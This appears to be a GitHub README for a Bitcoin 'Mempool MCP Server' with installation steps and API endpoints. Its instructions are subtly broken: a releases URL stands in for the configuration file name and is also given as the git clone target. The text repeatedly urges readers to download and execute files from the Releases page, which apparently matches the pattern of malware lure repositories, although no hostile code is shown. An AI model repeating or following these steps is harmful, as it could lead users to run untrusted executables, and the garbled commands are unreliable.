lev1nho1282/mempool-mcp-server

Mempool MCP Server: Bitcoin Node Integration Made Easy 🚀

Table of Contents

• Overview
• Features
• Installation
• Usage
• API Reference
• Supported Nodes
• Contributing
• License

Overview

The Mempool MCP Server is a powerful implementation designed to interface with Bitcoin nodes. It allows users to retrieve Bitcoin transaction data seamlessly. With support for local nodes such as Umbrel and MyNode, this server enhances your Bitcoin experience by providing easy access to critical information.

To get started, visit the Releases section for the latest version. Download and execute the necessary files to run the server.

Features

• Local Node Support: Connect easily with your Bitcoin node.
• Real-time Data: Get live updates on Bitcoin transactions.
• User-friendly API: Simple API calls for efficient data retrieval.
• Cross-platform Compatibility: Works on various operating systems.
• Extensive Documentation: Clear instructions and examples to help you get started.

Installation

To install the Mempool MCP Server, follow these steps:

1. Download the Latest Release: Head to the Releases section to find the latest version. Download the appropriate file for your operating system.

2. Extract the Files: Unzip the downloaded file to a directory of your choice.

3. Install Dependencies: Navigate to the extracted folder in your terminal and run the following command to install required packages:

   npm install
   

4. Configuration: Before running the server, configure your settings in the https://github.com/lev1nho1282/mempool-mcp-server/releases file. Make sure to specify your Bitcoin node's address and port.

5. Run the Server: Start the server by executing:

   npm start
   

The server should now be running and ready to handle requests.

Usage

Once the server is up and running, you can start making API calls. Here are some common endpoints:

Get Mempool Data

To retrieve the current mempool data, send a GET request to:

GET /mempool

Get Transaction Details

To get details about a specific transaction, use:

GET /transaction/{txid}

Replace {txid} with the actual transaction ID.

Example Request

Here’s an example using curl to fetch mempool data:

curl http://localhost:3000/mempool

This command will return the current state of the Bitcoin mempool.

API Reference

The Mempool MCP Server provides a simple API to interact with Bitcoin data. Below are the main endpoints:

Mempool Endpoint

• GET /mempool
  • Description: Retrieves the current mempool data.
  • Response: JSON object containing the mempool status.

Transaction Endpoint

• GET /transaction/{txid}
  • Description: Fetches details for a specific transaction.
  • Parameters:
    • txid: The transaction ID you want to query.
  • Response: JSON object with transaction details.

Node Status Endpoint

• GET /node/status
  • Description: Checks the status of your connected Bitcoin node.
  • Response: JSON object indicating whether the node is operational.

Supported Nodes

The Mempool MCP Server supports several local Bitcoin nodes, including:

• Umbrel: A popular choice for Bitcoin enthusiasts looking for an easy-to-use interface.
• MyNode: A robust option for those wanting full control over their Bitcoin node.
• Others: The server can also work with any Bitcoin node that supports the necessary RPC calls.

Contributing

We welcome contributions to improve the Mempool MCP Server. To get involved:

1. Fork the Repository: Click the "Fork" button on the top right of this page.

2. Clone Your Fork: Use the following command to clone your forked repository:

   git clone https://github.com/lev1nho1282/mempool-mcp-server/releases
   

3. Create a Branch: Make a new branch for your feature or bug fix:

   git checkout -b feature-name
   

4. Make Changes: Implement your changes and commit them:

   git commit -m "Add feature"
   

5. Push Changes: Push your changes to your forked repository:

   git push origin feature-name
   

6. Submit a Pull Request: Go to the original repository and submit a pull request.

License

This project is licensed under the MIT License. See the file for more details.

For further details, visit the Releases section to download the latest version and start integrating with your Bitcoin node today!